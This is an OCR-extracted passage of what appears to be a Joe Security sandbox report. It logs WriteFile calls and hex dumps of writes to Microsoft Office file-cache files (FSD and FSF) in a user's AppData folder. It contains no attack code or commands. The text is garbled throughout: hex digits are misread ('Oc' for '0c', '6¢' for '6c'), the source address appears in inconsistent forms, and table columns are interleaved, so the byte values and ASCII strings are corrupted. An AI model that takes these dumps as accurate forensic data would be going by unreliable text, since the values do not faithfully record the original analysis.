
Length

81

56

40

512

40

134

70

Value

3e 03 00 00 54 07 00 00
00 fd 54 27 Oc fd 09 fd 6¢
fd fd fd 46 fd 55 fd fd fd
50 45 7e 79 00 6a 03 00
00 58 53 51 fd fd 84 fd fd
0d 4a fd fd 52 Oc 77 fd 70
7301 00 00 00 fd 01 36
fd fd 31 60 44 fd fd 16 fd
fd fd 1a 01 00 00 00 fd fd
01

03 10 fd fd 06 00 fd fd 09
fd 6¢ fd fd fd 46 fd 55 fd
fd fd 50 45 7e 01 00 00
00 06 00 00 00 00 00 00
00 30 fd fd 4d fd 4d 43 4f
fd 59 fd 1c fd 70 06 65 01
00 00 00

10 00 00 00 03 00 00 00
11 00 00 00 06 00 00 00
12 00 00 00 04 00 00 00
13 00 00 00 02 00 00 00
010000 00 75 75 fd fd

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd fd fd
71 0f ba 4b fd 74 fd fd 7a
fd fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 09 46 6f 1c 48
4d fd fd 7e fd fd 3a 08 38
0Ob 00 00 00 00 00 00 00
fd 32 fd fd fd fd 27 47 fd
fd fd fd fd 65 12 fd 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

fd fd 09 46 6f 1c 48 4d fd
fd 7e fd fd 3a 08 38 Ob 00
00 00 00 00 00 00 fd 32
fd fd fd fd 27 47 fd fd fd fd
fd 65 12 fd

ea 69 49 00 Oc 56 Oc 2b
fd fd 6a 4c 59 fd 4d fd fd
21 29 fd 2f 34 40 fd 27 7b
6f fd 35 fd 4c fd 23 17 03
6e 6b 6e 03 00 00 00 00
00 00 00 Ob fd 00 fd 32 fd
fd 52 fd 1e 42 6d fd 4b fd
fd fd fd 47 30 4d fd 01 00
001103390300 75 fd
00 fd 60 03 Oc fd fd fd 7a
fd 44 fd 4d fd fd fd 2c 29
Oe 53 00 39 01 00 00 00
00 00 00 00 10 00 00 00
2c 27 fd 00 01 fd fd 4d fd
61 36 fd 29 58 3e fd 79
05

ea 69 49 00 Oc 56 34 2b
fd fd 6a 4c 59 fd 4d fd fd
21 29 fd 2f 34 40 fd 27 7b
6f fd 35 fd 4c fd 23 17 03
6e 6b 6e 0a 00 00 00 00
00 00 00 07 58 22 Oc 3d
fd fd 4a fd fd 06 4b fd fd
fd 75 26 fd fd fd 05

Ascii Completion

>STTIFUPE~yjXSQJRwps = success or wait
61D

IFUPE~OMMCOYpe success or wait

uu success or wait

MeFyzgKtzS,XFFagFoH  success or wait

M~:82'GeAEXXXX

FoHM~:82'Ge success or wait

iIV+LYM!)/4{o5L#nn2RB  success or wait
mKGOM9u
*zDM,)S9,'Ma6)X>y

iIV4+LYM!)/4'{o5L#nnX"  success or wait

=JKu&

Count Source Address

2

1

4

2

TFEEE917A59

TFEEE917A59

7TFEEE917A59

7TFEEE917A59

TFEEE917A59

TFEEE917A59

7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
nFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
nFSD-CNRY.FSD

Copyright Joe Security LLC 2022

Offset

15984

2804

16640

1648

16680

Length Value

328

448

40

32

32

3e 03 00 00 54 07 00 00
00 fd 54 27 Oc 2b fd fd 6a
4c 59 fd 4d fd fd 21 29 fd
2f 34 fd 39 00 fd 03 00 00
fd 54 fd Oc fd 5b fd fd 33
fd 4e 41 fd 2b 01 fd fd fd
01 fd fd 09 Oc 2b fd fd 6a
4c 59 fd 4d fd fd 21 29 fd
2f 34 fd 14 2b fd fd 6a 4c
59 fd 4d fd fd 21 29 fd 2f
34 fd 1c 2b fd fd 6a 4c 59
fd 4d fd fd 21 29 fd 2f 34
fd 24 2b fd fd 6a 4c 59 fd
4d fd fd 21 29 fd 2f 34 fd
7a 0300 00 fd 54 27 14
2b fd fd 6a 4c 59 fd 4d fd
fd 21 29 fd 2f 34 fd 19 00
fd 03 00 00 fd 54 27 1c
2b fd fd 6a 4c 59 fd 4d fd
fd 21 29 fd 2f 34 fd 19 00
fd 03 00 00 fd 54 27 Oc fd
09 fd 6¢ fd fd fd 46 fd 55
fd fd fd 50 45 7e 79 00 6a
03 00 00 58 53 51 fd fd
84 fd fd 0d 4a fd fd 52 Oc
77 fd 70 73 01 00 00 00
fd 01 36 fd fd 31 60 44 fd
fd 16 fd fd fd 1a 01 00 00
00 fd 54 27 24 2b

Ascii Completion Count Source Address

STT+HLYM!)/49T[3NA++  success or wait 2 TFEEE917A59
LYM!)/4+

JLYMN/A+HLYM!/ASHLY

M1)/4zT!

+HLYMD/AT'+HLYM!/AT'IF

UPE~yj

XSQJRwps61 DT'$+

05 fd 00 fd 6d 07 11 2b fd m+jLYM!)/4~+]LYM!)/4+jL success or wait
fd 6a 4c 59 fd 4d fd fd 21 YM!)/4+
29 fd 2f 34 fd 01 00 00 00 jLYM!)/4+LYM!)/4

3

7TFEEE917A59

01 02 00 09 00 00 00 00
00 00 00 fd fd fd fd fd fd
fd fd 00 00 00 00 05 fd 00
fd 7e 07 Of 2b fd fd 6a 4c
59 fd 4d fd fd 21 29 fd 2f
34 fd 02 00 00 00 01 06
00 0a 00 00 00 00 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 05 fd 00 fd fd 07
0f 2b fd fd 6a 4c 59 fd 4d
fd fd 21 29 fd 2f 34 fd 03
00 00 00 01 06 00 Ob 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
05 fd 00 fd fd 07 11 2b fd
fd 6a 4c 59 fd 4d fd fd 21
29 fd 2f 34 fd 04 00 00 00
01 06 00 Oc 00 00 00 00
00 00 00 fd fd fd fd fd fd
fd fd 00 00 00 00 05 fd 00
fd fd 07 09 2b fd fd 6a 4c
59 fd 4d fd fd 21 29 fd 2f
34 fd 06 00 00 00 01 02
00 0d 00 00 00 00 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 05 fd 00 fd fd

10 00 00 00 03 00 00 00
11 00 00 00 06 00 00 00
12 00 00 00 04 00 00 00
13 00 00 00 02 00 00 00
01 00 00 00 cb fd fd

11 00 00 00 10 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01 00 00 00 62 fd 2e fd

11 00 00 00 10 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01 00 00 00 fd fd fd fd

success or wait 1 7FEEE917A59

b. success or wait 1 TFEEE917A59

success or wait 1 TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi 0 512
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi 0 16
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi 16 2
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi 18 1
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi 0 512
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 76 40
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

Copyright Joe Security LLC 2022

Offset Length Value Ascii

Oc fd 91 fd 1b fd 4d fd 65 MeFyzgKtzS,XFFaqFoH
4679 fdfdfd 7afdfd fd  M~:82'GeAEXxxx
71 0f ba 4b fd 74 fd fd 7a
fd fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 09 46 6f 1c 48
4d fd fd 7e fd fd 3a 08 38
Ob 00 00 00 00 00 00 00
fd 32 fd fd fd fd 27 47 fd
fd fd fd fd 65 12 fd 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

fdfd 48 alfd 40fd 06 fd H@bq
fd 62 fd 12 71

Oc 00

18

Oc fd 91 fd 1b fd 4d fd 65 MeFyzPF'$S XFFaq{5m
46 79 fd fd fd 7a fd fd fd fd HDGEP/tP>PBxxxx+
fd 50 03 46 fd fd 22 fd Oc
fd 24 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 04 00 00 7b 35 17
6d 48 fd fd fd 44 1e Oc fd
0b 00 00 00 00 00 00 00
fd fd fd fd fd fd 71 45 fd fd
fd 50 fd 2f 74 fd 50 3e 00
00 00 00 00 00 00 04 00
00 02 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 00
00 00 00 00 00 00 00 50
42 00 00 00 00 00 00 00
02 00 00 00 00 00 00 00
04 00 00 00 00 02 00 00
00 00 00 04 00 00 00 fd
78 fd Of fd 78 fd Of fd 78 fd
0f fdl 78 fd Of 12 00 00 00
00 00 00 00 2b 04 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00

04 0000 7b 35 17 6d 48
fd fd fd 44 1e Oc fd Ob 00
00 00 00 00 00 00 fd fd fd
fd fd fd 71 45 fd fd fd 50
fd 2f 74 fd

{5mHDQgEP/t

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage

NFSD-{4FD4A456-B142-48A7-8A26-

7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage

NFSD-{4FD4A456-B142-48A7-8A26-

7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage

NFSD-{4FD4A456-B142-48A7-8A26-

7CC29A810637}.FSD

Copyright Joe Security LLC 2022

Offset

512

512

1536

Length Value

65024

1024

16

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 02
7000 fd 47 03 00 02 73
fd 71 2b 51 39 47 fd fd 61
60 fd fd 71 62 01 00 00
00 02 70 00 fd 47 05 00
02 7cfd 75 2d fd 75 fd 41
fd fd fd 57 22 55 40 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 02
7000 fd 47 03 00 02 73
fd 71 2b 51 39 47 fd fd 61
60 fd fd 71 62 01 00 00
00 02 70 00 fd 47 05 00
02 7cfd 75 2d fd 75 fd 41
fd fd fd 57 22 55 40 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00

10 00 00 00 00 00 00 00
01 00 00 00 d5 02 50

Ascii

zVvV
@pGsqQ9Ga gbpG|u-
UAW"U

zv
@pGsqQ9Ga qbpG|u-
UAW"U

Completion

success or wait

success or wait

success or wait

Count Source Address

2

1

1

TFEEE917A59

7TFEEE917A59

7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Mi 0
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 76
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 2560
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 2576
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
N\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 1552
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

Copyright Joe Security LLC 2022

Length

512

40

4096

4

24

Value Ascii

Oc fd 91 fd 1b fd 4d fd 65 MeFyzPF"$S,XFFag{5m
46 79 fd fd fd 7a fd fd fd fd HDgQEP/tP>PBxxxx+
fd 50 03 46 fd fd 22 fd Oc
fd 24 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 04 00 00 7b 35 17
6d 48 fd fd fd 44 1e Oc fd
0Ob 00 00 00 00 00 00 00
fd fd fd fd fd fd 71 45 fd fd
fd 50 fd 2f 74 fd 50 3e 00
00 00 00 00 00 00 04 00
00 02 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 00
00 00 00 00 00 00 00 50
42 00 00 00 00 00 00 00
02 00 00 00 00 00 00 00
04 00 00 00 00 02 00 00
00 00 00 04 00 00 00 fd
78 fd Of fd 78 fd Of fd 78 fd
of fd 78 fd Of 12 00 00 00
00 00 00 00 2b 04 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00

0400007b35176d48 {5mHDQEP/t
fd fd fd 44 1e Oc fd Ob 00

00 00 00 00 00 00 fd fd fd

fd fd fd 71 45 fd fd fd 50

fd 2f 74 fd

fd fd fd fd fd 7a 56 fd 11
00 00 00 00 00 00 00 03
10 fd fd 05 fd 00 fd 40 03
07 4a 09 fd fd fd fd fd 49
fd fd 69 7c fd 61 1e 11 01
00 00 00 01 05 00 01 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
05 fd 00 fd 47 07 10 fd 4e
fd 49 fd fd 54 44 fd 7b 6d
fd 79 04 6b fd 01 00 00
00 01 06 00 03 00 00 00
00 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 05 fd
00 fd 57 07 Ob fd fd 6¢ fd
6¢ fd 45 45 fd 6e fd fd 13
3d 50 fd 01 00 00 00 01
07 00 04 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd
62 07 Ob fd 65 fd 3f fd 48
fd fd fd 69 5¢ 17 77 fd 01
00 00 00 01 07 00 07 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
07 60 fd fd fd fd 6¢ fd 6¢
fd 45 45 fd 6e fd fd 13 3d
50 fd 01 00 00 00 05 fd
00 fd 6d 07 11 fd fd 6b 23

zV@JlilaGNITD{mykWIIE
En=Pb?Hi\w IIEEn=Pmk#

03 10 fd fd

1000 000001000000 h(
11 00 00 00 01 00 00 00
01 00 00 00 68 fd fd 28

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1

1

1

2

1

TFEEE917A59

7TFEEE917A59

7TFEEE917A59

7TFEEE917A59

7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset Length

C:\Users\user\AppData\Local\Mi 0 512
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 0 512
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 0 16
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi 16 2
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi 18 2
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi 20 1
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

Copyright Joe Security LLC 2022

Value

Oc fd 91 fd 1b fd 4d fd 65 MeFyzPF"$S,XFFag{5m
46 79 fd fd fd 7a fd fd fd fd HDgQEP/tP>PBxxxx+

fd 50 03 46 fd fd 22 fd Oc
fd 24 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 04 00 00 7b 35 17
6d 48 fd fd fd 44 1e Oc fd
0Ob 00 00 00 00 00 00 00
fd fd fd fd fd fd 71 45 fd fd
fd 50 fd 2f 74 fd 50 3e 00
00 00 00 00 00 00 04 00
00 02 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 00
00 00 00 00 00 00 00 50
42 00 00 00 00 00 00 00
02 00 00 00 00 00 00 00
04 00 00 00 00 02 00 00
00 00 00 04 00 00 00 fd
78 fd Of fd 78 fd Of fd 78 fd
0Of fd 78 fd Of 12 00 00 00
00 00 00 00 2b 04 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00

Oc fd 91 fd 1b fd 4d fd 65 MeFyzPF"$S,XFFaqg{5m
46 79 fd fd fd 7a fd fd fd fd HDgQEP/tP>PBxxxx+

fd 50 03 46 fd fd 22 fd Oc
fd 24 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 04 00 00 7b 35 17
6d 48 fd fd fd 44 1e Oc fd
0Ob 00 00 00 00 00 00 00
fd fd fd fd fd fd 71 45 fd fd
fd 50 fd 2f 74 fd 50 3e 00
00 00 00 00 00 00 04 00
00 02 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 00
00 00 00 00 00 00 00 50
42 00 00 00 00 00 00 00
02 00 00 00 00 00 00 00
04 00 00 00 00 02 00 00
00 00 00 04 00 00 00 fd
78 fd Of fd 78 fd Of fd 78 fd
0f fd 78 fd Of 12 00 00 00
00 00 00 00 2b 04 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00

fd fd 48 al fd 40 fd 06 fd

fd 62 fd 12 71

Oc 00

18 fd

5d

Ascii

H@bq

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Mi 21
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi 113
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi 76
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 6656
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-

7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 6712
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-{4FD4A456-B142-48A7-8A26-

7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 2580
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-

7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi 1576
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-

7CC29A810637}.FSD

Copyright Joe Security LLC 2022

Length Value

92

40

Bl

4096

50

32

46 00 53 00 44 00 2d 00
7b 00 34 00 46 00 44 00
34 00 41 00 34 00 35 00
36 00 2d 00 42 00 31 00
34 00 32 00 2d 00 34 00
38 00 41 00 37 00 2d 00
38 00 41 00 32 00 36 00
2d 00 37 00 43 00 43 00
3200 39 00 41 00 38 00
31 00 30 00 36 00 33 00
37 00 7d 00 2e 00 46 00
53 00 44 00

05

04 0000 7b 35 17 6d 48
fd fd fd 44 1e Oc fd Ob 00
00 00 00 00 00 00 fd fd fd
fd fd fd 71 45 fd fd fd 50
fd 2f 74 fd

fd 36 27 fd fd 17 41 fd fd
7b 67 06 fd 13 0d 03 00
02 00 fd 00 40 20 75 fd
42 fd 47 79 fd 47 fd fd 5d
7e 74 fd 3c fd 0a 03 00
00 3e 03 00 00 fd 01 49

fd fd fd fd fd 7a 56 fd 12
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd 4a 09 fd
fd fd fd fd 49 fd fd 69 7c fd
61 1e 11 01 00 00 00 02
00 00 00 00 00 00 00 fd
3b 04 02 fd 65 66 48 fd fd
6b 06 13 58 fd 2c 01 00
00 00 06 00 fd fd fd 6c fd
6¢ fd 45 45 fd 6e fd fd 13
3d 50 fd 01 00 00 00 05
00 00 00 00 00 00 00 fd
3b 04 02 fd 65 66 48 fd fd
6b 06 13 58 fd 2c 03 00
00 00 06 00 fd fd 65 fd 3f
fd 48 fd fd fd 69 5¢ 17 77
fd 01 00 00 00 08 00 00
00 00 00 00 00 fd 3b 04
02 fd 65 66 48 fd fd 6b 06
13 58 fd 2c 03 00 00 00
06 00 fd 3e fd 77 08 67
63 66 45 fd fd 34 fd 50 fd
59 01 00 00 00 0d 00 00
00 00 00 00 00 fd 3b 04
02 fd 65 66 48 fd fd 6b 06
13 58 fd 2c 03 00 00 00
06 00 fd fd fd 69 0d fd 6e
06 4f fd 5b 34 fd 41 27 fd
fd 01 00 00 00 11 00 00

05 fd 00 fd 40 03 07 4a
09 fd fd fd fd fd 49 fd fd
69 7c fd 61 1e 11 01 00
00 00 01 05 00 01 00 00
00 00 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00

10 00 00 00 02 00 00 00
11 00 00 00 02 00 00 00
12 00 00 00 02 00 00 00
01 00 00 00 fd 3a 61 fd

Ascii

FSD-{4FD4A456-B142-
48AT7-8A26-7
CC29A810637}.FSD

{5mHDQgEP/t

6A{g@ uBGyG]~t<>|

zVlli|a;efHkX,IEEn=P;ef
HkX,?H
i\w;efHkX,>wgcfE4Y;efHk
X,inO[4A'

@Jlijla

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59
3 TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

Page 54 of 66



File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{4FD4A456-B142-48A7-8A26-
7CC29A810637}.FSD

Copyright Joe Security LLC 2022

Offset

0

76

10808

14904

Length

512

40

4096

122

Value Ascii

Oc fd 91 fd 1b fd 4d fd 65 MeFyzPF"$S,XFFag{5m
46 79 fd fd fd 7a fd fd fd fd HDgQEP/tP>PBxxxx+
fd 50 03 46 fd fd 22 fd Oc
fd 24 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 04 00 00 7b 35 17
6d 48 fd fd fd 44 1e Oc fd
0Ob 00 00 00 00 00 00 00
fd fd fd fd fd fd 71 45 fd fd
fd 50 fd 2f 74 fd 50 3e 00
00 00 00 00 00 00 04 00
00 02 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 00
00 00 00 00 00 00 00 50
42 00 00 00 00 00 00 00
02 00 00 00 00 00 00 00
04 00 00 00 00 02 00 00
00 00 00 04 00 00 00 fd
78 fd Of fd 78 fd Of fd 78 fd
of fd 78 fd Of 12 00 00 00
00 00 00 00 2b 04 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00

04 0000 7b 35 17 6d 48
fd fd fd 44 1e Oc fd Ob 00
00 00 00 00 00 00 fd fd fd
fd fd fd 71 45 fd fd fd 50
fd 2f 74 fd

{SmHDQgEP/t

fd fd fd fd fd 7a 56 fd 13
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd fd 4e fd
49 fd fd 54 44 fd 7b 6d fd
79 04 6b fd 01 00 00 00
06 00 00 00 00 00 00 00
30 fd fd 4d fd 4d 43 4f fd
59 fd 1c fd 70 06 65 01
00 00 00 06 00 fd fd 28
